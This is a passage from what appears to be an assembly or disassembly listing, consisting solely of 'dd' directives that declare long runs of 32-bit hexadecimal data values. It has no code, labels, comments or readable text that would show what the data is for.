397DD53Fh, 6401F440h, 3CF603EBh, 8FC9AEDDh, 427E4F88h dd 483BA97Fh, 0E5D30395h, 98B4E3BDh, 0EDE82Dh, 0F7508582h dd 0DC6663D9h, 0C9195300h, 0C5F451BAh, 0A09650B5h, 69E21D64h dd 0D5F28B0Bh, 0FE3C6600h, 0F43FC249h, 0F72E7C6Eh, 2600187Eh dd 0BE594552h, 0D7940790h, 2704A154h, 0A8C9764Ch, 0C0B9B38h dd 10CBE56Dh, 9D340279h, 0ADDE4735h, 0F7A20EC1h, 2B9F98E0h dd 7EE6ECF4h, 0D6427928h, 8FEAC000h, 0FBC59DF4h, 0EFB10134h dd 3B07A669h, 0DEB88083h, 0DCD244E8h, 32F3008Eh, 5F991D87h dd 78919ED5h, 0AF2E6C00h, 738D6E6Ah, 7D670740h, 3047B829h dd 308C2368h, 5D0063F2h, 2688A455h, 2A74B4FDh, 0E44964h dd 4B967058h, 4AD32ADAh, 2B3DBB00h, 64E13FFAh, 8872007Ch dd 28761097h, 0EE02FB82h, 7570C936h, 52C8808Dh, 1E8B9201h dd 0C10E8F94h, 0FA0CC13Eh, 7C03ECDCh, 0F228C38h, 304C9F6Fh dd 4B374E00h, 148E0111h, 0C6318A00h, 0FBD5BC86h, 3DF1ECD6h dd 19B96C71h, 92B08080h, 99334745h, 10A48F00h, 2197F5EFh dd 14E1EA27h, 864F44D9h dd 79F62300h, 1302B491h, 0E6A26400h, 7DAA63DBh, 6AA10BE3h dd 74A004A5h, 0C7521CDFh, 4706B600h, 0C5450EC6h, 0B992006Fh dd 1BF356E6h, 3205071Ah, 0B6B1D348h, 21B48C00h, 36BF490h dd 7C8B2220h, 8AA3A53Eh, 0E96CD81Eh, 80DEDC09h, 0AB36A8A8h dd 2E2B8A4h, 0A7CC18EBh, 9940F748h, 637841BCh, 48218230h dd 78F9D27h, 53B28DC3h, 0D01EA701h, 5535EA05h, 0D782AF07h dd 3FA7E8E4h, 0EE5E8540h, 0B95EEDBh, 47FB196Fh, 222800Fh dd 0D84063EFh, 3E00C9B6h, 48B97350h, 0E112931h, 406A6959h dd 0E40C44C0h, 8000B1F3h, 6AE1E23h, 372238h, 98FAE349h dd 22789B6h, 42E0FF07h, 3AF0F1D8h, 4559AEh, 0F2BFDE29h dd 74EA4E86h, 7F07B9F6h, 3DAA41E1h, 0D2D7F1B0h, 0DD130FC5h dd 0C620F09Eh, 2792B61Bh, 74355C03h, 266672Eh, 4CFDBAA8h dd 1CC20C41h, 0DF98A760h, 5A01AFF8h, 0D83357C4h, 0E5D40FBDh dd 9BB902E2h, 3E86DB7h, 9E6364C0h, 876F4D00h, 62DDEA29h dd 88A314C5h, 23DF25Bh, 0B38047B8h, 0AE5E24D3h, 0AD00F779h dd 0C151ABBFh, 0AA1263h, 5C29D930h, 52242282h, 9F536014h dd 0DB0079E8h, 0EAA2B57Fh, 389062A9h, 935C6BE0h, 4E2B6100h dd 0FD5526DFh, 0EA5D800h, 0FC5B3A13h, 19060030h, 24AB03CFh dd 6100F08Dh, 140C4563h, 23FCD5h, 0A0552D12h, 72E0B5A8h dd 0CC342A1Dh, 221E5680h, 79C2F36h, 0DF80B3CAh, 994380C0h dd 8616BD77h, 0AC036618h, 0D80E670Ch, 7428FEADh, 0C70100E1h dd 0F17D4B39h, 7C98BB04h, 0A42BD409h, 3D3C0083h, 1E3E06D3h dd 47F29Ah, 6FC7B421h, 8D006A04h, 1EE6BAFh, 0FFA84Eh, 8F09979Dh dd 2B1E1DAh, 59F8C200h, 4DF7DE90h, 0D2F0186Ch, 7461170h dd 3C803700h, 53A0DAD3h, 0B440029Ch, 0F25722FCh, 0BCE45CE0h dd 3AB270E7h, 5DC0620Eh, 0B59E0058h, 412F459h, 2CA6DF09h dd 4AE081F1h, 0F0C04096h, 180090B2h, 0BC01F2Fh, 319CFEC5h dd 39D0D2A2h, 0D6BDC46Ch, 4F10D460h, 0E4740CD9h, 23FF00C3h dd 4760EA1h, 0F62CD8ECh, 5C00789Eh, 0B86C8A6Bh, 0AE9572E0h dd 0C2DA0028h, 3FA48276h, 4D0104C4h, 15A11C9Ah, 2880CA37h dd 73098C3h, 3E0C5903h, 0B1A65C54h, 0D89A4Fh, 7C87A11Ah dd 8655750Bh, 845C1B76h, 0E89307BBh, 0AB4560h, 9DA3D398h dd 0AA76EBh, 24744370h, 440898E2h, 7D17CC77h, 9C039C28h dd 90C152B3h, 6E49DCBh, 3BAE123h, 0D600F4F4h, 3DC7B78Dh dd 43B6DBh, 0FCC64EA0h, 0A49D8A37h, 7DB054B8h, 6AF1E12h dd 0D9C10C5Dh, 0A5734ED3h, 50E82081h, 600798ADh, 9E09A258h dd 0E0C4AB53h, 0C00343C8h, 95383D72h, 0F428C99Ah, 0A802EC11h dd 1EECAAF7h, 31D0C059h, 0A09E89h, 5E7462ADh, 0AF006FA4h dd 0E31E4180h, 3973C21Bh, 2180B87Eh, 29054734h, 0CD0179DCh dd 658FAAD4h, 0F6F4F94Bh, 0B8D050CCh, 37C40E6Eh, 93E1E833h dd 2049D3C6h, 0F10058FEh, 0F0B9F71Ch, 0A328DBh, 0F927FEBBh dd 0B8AD5E14h, 0C39A3D00h, 9D1A7F9Eh, 0B2020BA6h, 620A21C2h dd 0D9EF0059h, 85A472BCh, 8862BA00h, 8FC8D439h, 0B57624h dd 6E748C7h, 7F96FCDCh, 3400DBE0h, 5B7192DFh, 1CECBh, 0C4312642h dd 0F1B278ABh, 4A7552F4h, 7B8A3603h, 1776DB4Bh, 40E189FCh dd 0B8C44DA0h, 5F079C59h, 0D53CEFCh, 78A02C35h, 307FE692h dd 5E304CFBh, 0D60050A5h, 74995811h, 839C4h, 0AFC72406h dd 29C276DCh, 9DACD03Ch, 44A4D703h, 2FE31207h, 101447A0h dd 509F053Ch, 884F281Ah, 920E4A68h, 0A05B3DBCh, 67C0A7B4h dd 3C1F257h, 215376DAh, 0E6D86D1Ch, 39008A1Eh, 0DDED0F19h dd 10C261h, 0D71D2D56h, 4EB4EFA2h, 2C82F009h, 66E881D5h dd 8282A7Ah, 80BFCF12h, 0C6FC1534h, 7603C4B0h, 7ADF1A7Ch dd 6C1DC837h, 0D6680E78h, 0F384350Bh, 4B348015h, 0CE00995Ah dd 9D846DDAh, 58890F55h, 0E60218DBh, 6CC95FB1h, 0D302ABC0h dd 0BBB26300h, 11D1852Bh, 0F4EE00A3h, 352D4B28h, 32001F06h dd 0BFF6DEEDh, 0E8FE9A8h, 64AB5CB7h, 52A9C4A1h, 9DD4537Eh dd 0A062E5E7h, 8C020EFCh, 0B93A2FBh, 0E8CCC039h, 44073E31h dd 604DAB80h, 76D4FB6Ch, 11A7F70Bh, 75CB83A5h, 470E193h dd 0E8D02721h, 1DCA0062h, 64770145h, 660123C7h, 0A1380773h dd 7C601284h, 363E0B3Ch, 804037AEh, 0C3F6F047h, 53AB1C1Dh dd 244CE300h, 92C4099Bh, 0DAA00014h, 1F442CF8h, 7600521Bh dd 9FAF8873h, 5901E80h, 559CC26Fh, 98B8C301h, 0AACA3BB0h dd 0E42E6901h, 10876BE9h, 5C2530h, 1D9845E7h, 1C794A9Bh dd 5821BB13h, 51843C00h, 152B5C6h, 2A828031h, 40E68597h dd 63E56AC4h, 7E512B00h, 754D8D4Ch, 8C2004Bh, 3CF98097h dd 361EB8EFh, 0FD0034CDh, 0BB72FEC8h, 77F4F4h, 0C359996Eh dd 124441F1h, 2F583803h, 8C0588h, 8602D4F6h, 6EFB45A5h dd 17394F00h, 0B3E408D8h, 6777965h, 0F8981224h, 0CF0F2CB1h dd 809AAC07h, 9232F7D6h, 8F843h, 0C78356DFh, 630FB1CDh dd 8500B5ECh, 3FB695C6h, 0C0EDB0h, 739F0DBBh, 0FD389A30h dd 2D97DD02h, 4378F8B6h, 21E5C002h, 0E87E0FD1h, 1B60770Eh dd 0B4E10569h, 4CEEFA00h, 0B0412664h, 0B60C0FF6h, 0F9A03534h dd 557C32D1h, 8669018h, 13CE6738h, 0F831EDA5h, 0D15E002Dh dd 557BBDE8h, 0E17B071h, 10E4582Fh, 7A95AB43h, 13E212D8h dd 6E579200h, 0BEB65419h, 914A005Fh, 6F0A2436h, 80F2325h dd 0C0C2A633h, 82FDC646h, 52AB0075h, 0C0D6B794h, 2700FF0Fh dd 7607C9EEh, 36F95E9h, 4F8293ECh, 0B3C0A787h, 0BF13888Dh dd 360035F0h, 307CEC01h, 0D9B6000Fh, 2A23A42Fh, 6C00981Eh dd 75E6CA6Ah, 0FC902E07h, 48200E7h, 4DC89689h, 9400C918h dd 7F440225h, 7484E629h, 6E06008Ch, 0DD353A79h, 51008F5Dh dd 89BFB57h, 7B70D09h, 0B9CA15B3h, 54E46146h, 2405F81Ch dd 358C8A14h, 2CFF1CA0h, 0A736EB80h, 42808h, 5E5AF11Ch dd 59A9D5FEh, 4600CF90h, 3AA6805Ch, 0ADAFC9h, 0CA355D75h dd 830C3D27h, 2F24951Dh, 93B74880h, 0B6FBA4Dh, 0A3DB88A0h dd 0B97B5E00h, 77FE38Ah, 0E91ADF00h, 56FDC7A4h, 0A5301523h dd 0BC00982Ah, 0D07EADD5h, 1400AC15h, 2F685946h, 48CAB671h dd 7D064CA9h, 58B19743h, 2B397EFCh, 8B2F80E6h, 0E54A102Dh dd 0C14700ABh, 0C46FDEACh, 7C92013Dh, 4AB12C07h, 0C910A9CBh dd 4C43EE36h, 0B300B280h, 7BD85706h, 0F900681Eh, 0CD3578B6h dd 12A3CAC9h, 7BE564Ah, 20D36E20h, 39A6D28h, 416B1700h dd 0A1F265C8h, 0CDD100D0h, 44864F8Ch, 183DD93Fh, 0B0D780FCh dd 7EE2172Ch, 8EDF0078h, 0DB3F41B3h, 0BC486714h, 0F4C10036h dd 66924F93h, 3EFF18F3h, 8A5428A5h, 76DD670Eh, 45D5C003h dd 1D41DC8Bh, 0BF29DF90h, 621B0A00h, 0A96810EEh, 3C8C4D58h dd 80133E28h, 40821F6h, 52C48Ch, 9BE1FC24h, 9D4A6ED7h dd 7EF7020Fh, 9777C092h, 7B13FFFh, 69A29BFh, 0AEA9E0D4h dd 4872C647h, 5123D01Ch, 18004F9Ch, 3C973A25h, 0F9CB0770h dd 0AFCD1ADAh, 0B5C76E60h, 84F87F41h, 1D13C00h, 46FC1170h dd 9F593AC4h, 4124E200h, 92DB2F3Ah, 6F453C00h, 431D2C26h dd 0F91F004Ah, 509936A3h, 0C7009776h, 0E99B86B1h, 6627F5h dd 0D7ED571Dh, 0E3249FA4h, 0E4003890h, 516E9071h, 73709205h dd 0F7988Bh, 0F799BFE9h, 594B5D60h, 80769D38h, 0DE8AFC4Ah dd 1879AA2h, 0F8965097h, 0DC0F99DFh, 3B07B2C0h, 0E2309277h dd 0E02DEF0h, 9D8E003Fh, 1ADDF1B3h, 0A53AA180h, 0CBBE016Fh dd 0C8EA0E45h, 471040D2h, 6922584Ah, 17DED002h, 5060802Dh dd 660FD4DBh, 3F04F484h, 0B9F090C0h, 90A86497h, 65350064h dd 0A9AB5A3Dh, 1F00DBADh, 8BE6838Eh, 36824Fh, 0D0635BC3h dd 27794568h, 87C8030Eh, 80F46Ah, 5B382B15h, 139CE14h dd 0C005F646h, 0C46A6FDAh, 4E0F92F4h, 0A0628759h, 3BC9333Fh dd 0EFE948BCh, 0D6A3A003h, 0C000B8D4h, 5D636C94h, 738395C3h dd 0F34B38DAh, 0E280A048h, 0E0A9DC1Fh, 963A7000h, 4DA724BEh dd 87ED009Ah, 30D4944Ah, 0B72447AAh, 0AD66BC5Dh, 17B50C39h dd 1368E204h, 0C5001C78h, 0AD094CCDh, 5D06A2h, 0EFE0E8D5h dd 9CA1D240h, 681E4Ch, 0FF8C4647h, 0DEA03E36h, 0ABD88868h dd 0F409F61Fh, 2398014Bh, 60F28139h, 1CD678h, 0B8D92FD7h dd 0FA1A837Fh, 0E4E23B05h, 78806447h, 942390h, 0E37011EEh dd 0AB3E1233h, 74473901h, 5BF51CA6h, 5C48D960h, 0EC003CC0h dd 8CFED997h, 6AB8720Ch, 3EEBA40Bh, 0B43A81CFh, 687014C4h dd 0C272D6h, 4E55969Ch, 0F77D1C9Eh, 0BA4E400h, 360D58ACh dd 1D87FAC6h, 40B9886Bh, 0A1EC2195h, 1100AFD9h, 46182403h dd 715C491h, 139A74F4h, 78909083h, 0FF1D274Bh, 0F5AEBD66h dd 501E7903h, 7DFCE8E8h, 21A0BC1h, 0F080D36Bh, 0A67E274Ah dd 0BC293Fh, 2C613B0Bh, 31A7B6h, 1B622093h, 0A52DE459h dd 54FE800h, 0F125E914h, 6BBE0229h, 0F79846F8h, 17A240DFh dd 77790753h, 808A1DEAh, 210B14D5h, 81B4AE3Ch, 0ADF9FAEFh dd 82C0A670h, 811A0050h, 0C85C1FA8h, 0D8004BBBh, 38322E29h dd 0DF56B1h, 36195BEBh, 0ED02E11Eh, 4EE05E7Bh, 46642900h dd 5CF7E712h, 4BD400E9h, 0BE14C694h, 7000BDA3h, 162E2F6Ah dd 1D903ECCh, 8932B892h, 3F00CD04h, 36EAB56Ch, 7F40BD00h dd 62CE72ECh, 80D50FEBh, 48432256h, 0C18041D2h, 75001392h dd 8FD6670Ah, 0F040ECh, 0C9E4708Bh, 0CB4BD79Dh, 0EEE408DDh dd 1C669E00h, 3123D1h, 458DA01h, 0FB266809h, 0CA3D0F77h dd 3E7C0075h, 0F5514608h, 42210073h, 699FB4E3h, 25894BFh dd 713A00BCh, 154972F4h, 0FF4B00ECh, 0E975C241h, 0A300D07Fh dd 0BB829509h, 1DACEDh, 0B4211361h, 5A38C63Fh, 0E1294600h dd 0F8EABCF0h, 593E0091h, 37AD4D40h, 0BF008B48h, 0DB6F5AE3h dd 5C18EEA0h, 530EB891h, 90C271h, 4BA6B4DDh, 763B547h dd 0B394B29Eh, 0E3B75007h, 5A0752BDh, 0A2110668h, 0DA35A9E3h dd 0DD58C060h, 0AF0C007Bh, 454AE2E6h, 0A00BF1Bh, 0C3F22170h dd 0E87ABA56h, 6C0E309Dh, 5CF0EA30h, 0B8C9C501h, 7FA455AFh dd 4E421880h, 876E93A2h, 887D5C1Dh, 982714h, 56FB6FD0h dd 26B45BF4h, 1F068D9h, 0B11F2A5Dh, 0BE7C20C9h, 950099FAh dd 0A0A9FB58h, 0E4B81997h, 91E0098h, 4FA6DD88h, 2DFC284Dh dd 0F200D078h, 0CA10FAF6h, 0BD3F8Ch, 0B124C2BFh, 0F437BBEDh dd 3B18590Fh, 4C6CE7E4h, 2388B2F0h, 1DC82EB0h, 0AB7E04ECh dd 6194D0CAh, 0C430C31Eh, 9E57B036h, 78794CA0h, 2A6DFE0Bh dd 0F2083D80h, 4F007651h, 2131DE1h, 0F6ECE2Eh, 5C47FA8Eh dd 0BF168A0h, 0D80331B5h, 0F086922Fh, 0ED1CA0C7h, 439901CCh dd 766DF19Bh, 3E45208Ch, 7E449100h, 57D21D5h, 0FE58CE85h dd 93CAED20h, 9D4A1C17h, 78F8E01Fh, 83FCA850h, 32A76B01h dd 8A9AC639h, 18220020h, 0C0A305EBh, 8E02D42Eh, 0B5302BAAh dd 7AE06919h, 8AA17708h, 0D60601Eh, 9055F300h, 18790525h dd 640B0082h, 3F7B2454h, 4C60CA21h, 0BA62267Ah, 10D61D05h dd 8E148544h, 0BBB0813Fh, 2520DCF7h, 0A0E33330h, 0E4FA34h dd 23697946h, 0D280D171h, 12CB4B9h, 4B8D4A00h, 577648h dd 9E184F04h, 6DB0B9FEh, 543C9800h, 418CFBBFh, 6989005Ch dd 0F41DD263h, 0CA07AE90h, 9EE131A9h, 0C095C1D2h, 7AA20BB8h dd 7CBF0262h, 314B2D91h, 3A3D1C50h, 0DE0E0040h, 88232E77h dd 81B1004Fh, 703178F4h, 421019C5h, 67002792h, 1B35167Fh dd 2D0C8A15h, 48DBEFA7h, 157F6CEh, 980929F5h, 6095D287h dd 680EC94Ah, 5CD85CAh, 0C002D5C8h, 0E3BBAAFBh, 0DD72F076h dd 0E080E50h, 0C4032D8h, 27F2B6A9h, 7774BE00h, 754D7B6Fh dd 60B70049h, 269F448h, 2805A1C1h, 907ABFB9h, 0E22604BCh dd 875E0302h, 4290764Bh, 0C400049Ah, 8316A9D5h, 1D411128h dd 81AA55B6h, 6AB3D601h, 400BCCB0h, 3700EE90h, 60C66F38h dd 3C206798h, 6285862Ah, 0D20E7445h, 0BCC25E60h, 0AB7360C8h dd 0FC937C00h, 6D998550h, 0B41A015Bh, 7AD340A7h, 1458748Bh dd 0CB3E3F00h, 1BB9062Fh, 7F1E00CEh, 2A49883Dh, 3701B15Dh dd 0D9392B9Ch, 20E408A6h, 444707F6h, 37AB6BEDh, 0D42C00B3h dd 9400B575h, 5B7AA70h, 0A1B88Ch, 103D9758h, 716961E8h dd 38FB8326h, 726E3000h, 2815EDDEh, 0F42835h, 0C270453Dh dd 0A64723FBh, 1002B94Bh, 7F34C78Bh, 0F4003A62h, 0F6BCBE3Dh dd 24A0BF06h, 0DCF76Dh, 0F2459580h, 299B0185h, 0B409884Bh dd 307460C8h, 2D747Ah, 0AE4A7674h, 62BAC216h, 94121DE6h dd 4087C9h, 37D3A374h, 906EB8B5h, 0B4AA502Fh, 608A00E7h dd 781F3231h, 721CAE85h, 294167DBh, 3CDD55B3h, 79562EE4h dd 826D0E2Ch, 0FFC04D21h, 66A25E62h, 7195001h, 80201AA9h dd 17D1F4h, 93643A87h, 5BECFF85h, 6327D03h, 0F0B7C305h dd 8D6783h, 49586354h, 5391FCF6h, 0D7337500h, 6FA59812h dd 56221E1Ah, 0F4E90030h, 0D924AE39h, 0A4ED4C1Eh, 8EF146C4h dd 387D94D0h, 3F477402h, 79CB68h, 0F1012D33h, 0A9C9E3B4h dd 67697C00h, 0CB470ABDh, 76D8004Eh, 0DB234BDEh, 6800FE0Eh dd 0B0A94FC6h, 387756h, 7607D2F6h, 0EC674EE1h, 9E3D3900h dd 9905DDF5h, 4AD096FBh, 0CA003DDBh, 669DA8F8h, 0D10746FEh dd 0EAA6171Bh, 0C13092F0h, 5E990098h, 9E977F32h, 0D903E201h dd 3860873Bh, 368F8DAh, 0CCD5008Fh, 2EE0820Dh, 6E7C1C0Ch dd 0B93BC700h, 782802D2h, 821B006Fh, 9B7BDCFBh, 5D1D4941h dd 2340E80Bh, 76791367h, 0BDB00035h, 859AFF2Dh, 0EF1EE7B5h dd 2642AE28h, 58FB2720h, 2B360068h, 0A72E4A6Ch, 1F013721h dd 0BCFC5831h, 0F8EF9A6Fh, 7D9D0Bh, 4D08926h, 69C6D7A9h dd 9B671207h, 0E72088EEh, 1748A7DDh, 4078C490h, 591EC380h dd 5502D71Fh, 95D6DD03h, 0B8D48008h, 0FEB53944h, 21A03022h dd 0AC41B089h, 0BCC63100h, 45066665h, 12810E96h, 0CCFE37DFh dd 4740AA9Bh, 21FE3400h, 0F639A5C3h, 38A407B9h, 0D17309C2h dd 0E0D27720h, 0AA0084AFh, 32ECA708h, 396E66h, 3AB6DBDDh dd 0B9CBF705h, 0C43D6F01h, 0F0380277h, 30538AE0h, 0AB903960h dd 0DF01EAAEh, 0E14AD4A4h, 72D183ACh, 0F559BFh, 49D985D2h dd 4E6F628Bh, 0DD642E13h, 0CC86F701h, 0ABE8144Dh, 0B785002Fh dd 0CE769504h, 5400A111h, 0C5FAE72Dh, 6473B1h, 0B5128EAFh dd 0AAE0DCEEh, 0DF5D8D00h, 0D2EA92BAh, 0DB030004h, 0C7FF7246h dd 0E93AFE3Fh, 0E831008Bh, 8541DA8Dh, 964200F4h, 6E4F0F3h dd 9DB019ACh, 24D7FF00h, 0B13D1F4Ch, 6A0F005Ch, 0AC4B9480h dd 0EC0040A2h, 0FD7376C4h, 1FA11Ah, 2BB11C02h, 0E6138262h dd 0D457DE1Ch, 68218079h, 0FC5D2CEh, 3A410090h, 0E4E92624h dd 0A20F1AD5h, 606DF623h dd 0A1A8A74Ch, 7023C0Dh, 95583600h, 63AB230Bh, 331FBA18h dd 729F18h, 71A247AEh, 3E2059A4h, 400425E5h, 16BA310h dd 0D910D700h, 45A91B91h, 98E80020h, 0B21D174Bh, 29001A53h dd 0D102FFEDh, 0CD06A35h, 363065Bh, 0AE0B7E38h, 0A00D70B2h dd 6FCB4430h, 5A940097h, 0EE531223h, 0D74B1DBCh, 0F3F1EC00h dd 5ACB2A6Fh, 0E1EFE0C8h, 0A7B81960h, 7AE86370h, 214C008Eh dd 0B6954458h, 62E47B01h, 0C8680D00h, 4BA5051Ah, 90FD0039h dd 677672ECh, 401DA8BFh, 0B3C19113h, 9A7579EFh, 7EB9E4h dd 9B3A8960h, 4EA0DBBBh, 0A500B2FAh, 0B8D52DF6h, 0AEFB73h dd 9A5DC926h, 0C513015h, 503C800h, 0CBADC2F6h, 64470048h dd 9B6A7EB1h, 1A00A70Bh, 4B0FE025h, 3A1D5A54h, 32BB2E68h dd 0CD3D9300h, 22F29A2Ah, 4105968h, 98242886h, 0A19B0010h dd 48E1E933h, 17003638h, 7320D9AAh, 193906Dh, 5A491974h dd 884A159Bh, 8831BC29h, 20884C69h, 150C8866h, 9D304088h dd 0AC222286h, 1178426Ah, 96084E84h, 0C43F6EDAh, 0FF4848CDh dd 0A58C5707h, 98FC01A8h, 7752C8D9h, 943BE301h, 0C7EABE9Eh dd 3913D3FCh, 8980BF37h, 0BBB6F94Ah, 9F00A254h, 66CC3D09h dd 7D2002h, 0BEA52EE1h, 1EDBECB5h, 0B0844418h, 96C7A2h dd 8FF92655h, 653FA92h, 0EB7A71Fh, 0F20B003Dh, 0D01E4F57h dd 0BC260733h, 0C037BB75h, 0C0531C46h, 5F02B7FAh, 41DB828Fh dd 0A3DD606Bh, 810D129Fh, 477A1FE4h, 0C1A71497h, 21DC9CADh dd 5A10803Ah, 0F54FF415h, 6189010Ch, 6A2F3E86h, 51D44030h dd 0F877ED2Ch, 0F10048F6h, 94070341h, 4C26BE5h, 0B35DADBFh dd 8BFD8064h, 6774A15Fh, 8022B03Fh, 0E99C9F99h, 19F8FBh dd 0F9FF57B8h, 189562DFh, 59897A00h, 55FDEE2Ch, 6520084h dd 7FB81B75h, 40184CF7h, 241067DCh, 7D120327h, 0BAB4EA2Bh dd 160DEEAh, 0F27BB60Eh, 5C2D1D26h, 93535400h, 7BE30A8h dd 0A33EBCA9h, 0BAC83CE1h, 0BD008F7Ah, 0AACF6B1Eh, 1D94E57Bh dd 0C05CAE02h, 0B3D3C22h, 670ECB72h, 0E065F67Eh, 0B1269BE6h dd 8BD82E17h, 0C16F0117h, 4A924473h, 314900D8h, 58E75BE5h dd 0CDBD006Fh, 33D11D0Dh, 0B80057D2h, 9BF9701h, 3137392h dd 0B7CE1F16h, 4DB82A8Ah, 74605DBDh, 672EEA18h, 52210043h dd 7185039Dh, 0B22CF75Fh, 580064CCh, 83017346h, 0A8482ED4h dd 52F400A7h, 59A07ACBh, 1722C600h, 0A1E07D88h, 0E9E9A0ACh dd 9F1B00E5h, 0EB4086B1h, 23008136h, 53E40EA6h, 1387BDh dd 0D4AF1D51h, 12EF2180h, 0EC8B1C00h, 71ADE92Bh, 0BD0C02B8h dd 99FA768Eh, 0F8E0A88Eh, 2F4168D1h, 0EDB1DCC0h, 0FC9C6h dd 0AB85B51Fh, 7B961937h, 0A1D57A00h, 0E2DC0782h, 369A1771h dd 0BC950086h, 848DB80Eh, 0B398F400h, 552EE6F3h, 0EB8F00D9h dd 0C0814C44h, 0FA3E2292h, 0D4B0F47Ah, 0F7467F04h, 0F3AC6FA8h dd 0E88FBC3Ch, 108406C8h, 309C8048h, 421CA268h, 898019C6h dd 9BBE0102h, 78F00DAh, 5FD46F79h, 0D5F25EBDh, 0AC18FE00h dd 9770FFCh, 0B70300B9h, 2E1DBC1h, 1009925h, 218CD385h dd 81A613h, 0C3CC0B54h, 3B5AA93Eh, 17330924h, 0CD95E100h dd 4CF22DA5h, 9E00789Ch, 519062F4h, 88388E38h, 4BBC00E7h dd 0C62B9D96h, 7AB300B2h, 90FE325Ah, 7D48CB78h, 80803924h dd 0DDF34613h, 38861023h, 82014A4Ch, 92B98439h, 4F288056h dd 9A49B47h, 6EF0FCh, 0ABDF2E08h, 0F518840Fh, 71008FE4h dd 9EC163F9h, 2204EDh, 9A2351E9h, 1A6FF580h, 373DB801h dd 0FD18E23Eh, 0E4601289h, 203F2420h, 900DDCBh, 0C8F6D587h dd 5B6D43h, 0D6EAD9A9h, 0E21E145Fh, 1C848807h, 12F01ACCh dd 40CBA91h, 0E39FB1E8h, 0B51880E7h, 6F0F39EFh, 405C4799h dd 0B19886C8h, 0B3A709C7h, 24202C8Dh, 5BDD6E33h, 7C6F1900h dd 0BE7E0A9Ah, 0CB2300B9h, 553759E4h, 90005CEFh, 2F9F09CCh dd 751E0Dh, 0FFF17E04h, 0E9F0A8FCh, 5C348703h, 0B8938E8Fh dd 4C82F4h, 50A233BDh, 0B7D09B37h, 7B83F601h, 0B92190C0h dd 4C34B0CFh, 78F4A6h, 0AC3A967h, 3BE59E46h, 3C5CC800h dd 73AFB147h, 13D0E4F0h, 5E3ADDh, 34CE7728h, 0F2004DA9h dd 0F4575BA6h, 63B070Dh, 77F1EF05h, 62042865h, 6FFB97C6h dd 8F25080h, 5AED0080h, 964E8F55h, 0BB002684h, 4652D61Bh dd 9987254h, 0E349CDA5h, 0F0912800h, 0EB002A6Ah, 0B23B947Eh dd 4CF6CDDh, 990E26AFh, 0B37488A4h, 0C034558h, 8848BFFCh dd 6490E4h, 63A48E03h, 0C3C754C5h, 31000090h, 2A09B9CAh dd 0E9346Eh, 0A2B032DAh, 0D169C9Dh, 6550487Ah, 0FD1C689Bh dd 36402275h, 0FEDCDA70h, 549000E0h, 0F4E67E93h, 0B74DBE4Ah dd 0B00E009Ch, 976AA415h, 14990081h, 41FBF55Bh, 63730AB9h dd 430F3200h, 0B820EEE1h, 687758FCh, 0C800F33Ah, 0F66BA659h dd 0EC604ED3h, 6D4F9420h, 8C6224AFh, 0D75800B4h, 48F57BDCh dd 34237424h, 86BAEE00h, 1E742BBh, 0AA87E880h, 8040217Eh dd 0D2CE6470h, 0F61DFF30h, 0B74F1482h, 71008C08h, 0CC8A7451h dd 0B006E4Eh, 6FC72042h, 780A53A9h, 435700EDh, 4E9B972Dh dd 4672C303h, 0E7564B00h, 0B67646Ch, 2D5D00F1h, 9161791Bh dd 58005A8Dh, 0FCAA6855h, 1F788B8h, 0F53B1E62h, 973596AFh dd 3B0001B0h, 0DC00BFCh, 300500D2h, 4B625BF4h, 1E005713h dd 5E8AFAC8h, 3C278D2Ah, 0C00BA07h, 928B9DB5h, 88001418h dd 99D16C7Bh, 48A0964Ah, 0A11E8C52h, 4E0480AAh, 6B409C8Ch dd 0A618023Fh, 7C00387Dh, 918AEAC0h, 2F580F08h, 0A6C0CBB5h dd 0B29A6437h, 0A7399B12h, 3ABB2C00h, 0C6D3DBh, 27497A6Eh dd 0F51EA375h, 8190DA00h, 98051F0Ch, 0B6B000C5h, 0DCC6768h dd 0CCF9698Bh, 58007C66h, 0ACA78990h, 0EF9A7Bh, 18E4DDEh dd 14039FCFh, 6F2F7C00h, 9CDA637Ah, 985C1DA2h, 95760097h dd 0FF3DEBECh, 671A600h, 2085B7EEh, 0B83000A4h, 6FA924B2h dd 1E3AB9AEh, 2500FE61h, 0C6BBDC91h, 181E58Dh, 0F14DA89h dd 2A73B768h, 0CE403AF1h, 3FD68302h, 0F800B9B4h, 3C6E3837h dd 93086BDh, 34F77040h, 45230F12h, 4A00EDFBh, 0F0702C3Ch dd 5261A003h, 0C88483C7h, 13F57717h, 0B32B71h, 94130293h dd 89F88051h, 3CE4AE00h, 36B8319Fh, 8EE0001Eh, 70EF33FCh dd 0F001E74Ah, 4183D2D0h, 68870762h, 5045C2BAh, 0AEF15E4Bh dd 0D6B6B200h, 20268AE6h, 0F993001Bh, 883E79Dh, 8200A844h dd 1C31A2Fh, 80844Ch, 0B422437Ch, 559CE4D9h, 0DFEC0400h dd 0C89F9DCEh, 0C587005Bh, 0C1DEA28Ch, 0E0061E1h, 7C17825Dh dd 7D3919Dh, 6C467537h, 0D832200Ch, 0D748E110h, 2800705Bh dd 1A7650D4h, 7118A93Dh, 2B0C0715h, 4159C447h, 71A14579h dd 6198F82Dh, 52622013h, 87928E00h, 22AEFEh, 0A570D171h dd 7A9DBACBh, 1564EB00h, 799B84F7h, 63B70031h, 0A1A8865Ch dd 0D800299Fh, 0EBDA6FF0h, 17FCD1Fh, 0BFFAA2AFh, 0D0B87B20h dd 74FE8B55h, 0D154EC00h, 140F7845h, 0F28D004Bh, 0B1CF5E49h dd 6C7D1B92h, 6988BD0Bh, 0F4F587CCh, 4E1237E0h, 0BB85C2Eh dd 6AE5EF00h, 0C555FEECh, 5A0069F0h, 0D351DD71h, 0BEA2F6h dd 81E89A15h, 0D46C04A8h, 23F9C000h, 8EC64718h, 7B3F07D3h dd 70876844h, 607EA70Bh, 52F4E0F2h, 589C8607h, 5759BB02h dd 729B8900h, 6D00B505h, 63B678C3h, 0C34E953h, 0F9B7478Fh dd 0A0072936h, 84FAD0C1h dd 3BB5D493h, 33842328h, 0B82213h, 0C4C9AD9Fh, 662D07FBh dd 97E0D4D2h, 9EC21085h, 6B7B9473h, 0E1379A12h, 6D54F500h dd 0FD53F9h, 1CD14663h, 0A25F0C8Ah, 2E9A3512h, 0BF011500h dd 5049EC54h, 1F489909h, 0C146D03Ch, 0B0FBDB35h, 0ACA9E05Bh dd 0F16B2600h, 960789F6h, 10A800CDh, 0ADB537B3h, 0C90FFE7Ch dd 5B159Ah, 87D36BF6h, 6E3E009Bh, 7D2AE2F4h, 88009493h dd 749F2C10h, 32F225h, 0DF0398C6h, 0B046CA81h, 0E0418700h dd 362B5C58h, 90B1E89h, 